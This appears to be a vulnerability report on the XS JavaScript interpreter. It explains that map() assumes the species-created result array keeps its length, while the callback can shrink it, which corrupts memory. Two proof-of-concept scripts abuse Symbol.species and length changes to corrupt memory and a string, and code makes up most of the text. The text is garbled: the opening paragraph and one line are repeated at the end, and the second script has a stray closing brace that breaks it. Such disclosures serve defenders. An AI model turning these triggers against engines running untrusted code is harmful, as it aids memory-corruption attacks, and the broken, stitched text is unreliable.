The following JavaScript causes memory corruption in the XS interpreter. This is because the implementation assumes that the length of the array returned by fxCreateArraySpecies will not change throughout the map call, meanwhile, the map callback can actually change the length of this array. This is a security concern if the engine is allowed to run untrusted scripts.
var a = [1, 2, 3];
function f(){
a.length = 10000;
a.fill(10);
return a;
}
var t = [];
function m(){
a.length = 1;
var tt = [3, 2, 1];
tt.length = 1;
t.push(tt);
return 0x77777777;
}
class MyArray extends Array {
static get [Symbol.species]() { return f; }
}
var q = [1, 2, 3];
q.length = 10000;
q.fill(7);
q.__proto__ = MyArray.prototype;
print(q.map(m));
A second sample, which causes a string to get corrupted is below:
var a = [1, 2, 3];
function f(){
a.length = 10000;
a.fill(10);
return a;
}
var t = [];
function m(){
a.length = 1;
var tt = "0123456789012345678901234567890123456789"
t.push(tt);
return 0x77777777;
}
class MyArray extends Array {
static get [Symbol.species]() { return f; }
}
var q = [1, 2, 3];
q.length = 1000;
q.fill(7);
q.__proto__ = MyArray.prototype;
print(q.map(m));
for(var i = 0; i < 10; i++)
if(t[i] !="0123456789012345678901234567890123456789"){
print(t[i]);
}
}
The following JavaScript causes memory corruption in the XS interpreter. This is because the implementation assumes that the length of the array returned by fxCreateArraySpecies will not change throughout the map call, meanwhile, the map callback can actually change the length of this array. This is a security concern if the engine is allowed to run untrusted scripts.
A second sample, which causes a string to get corrupted is below: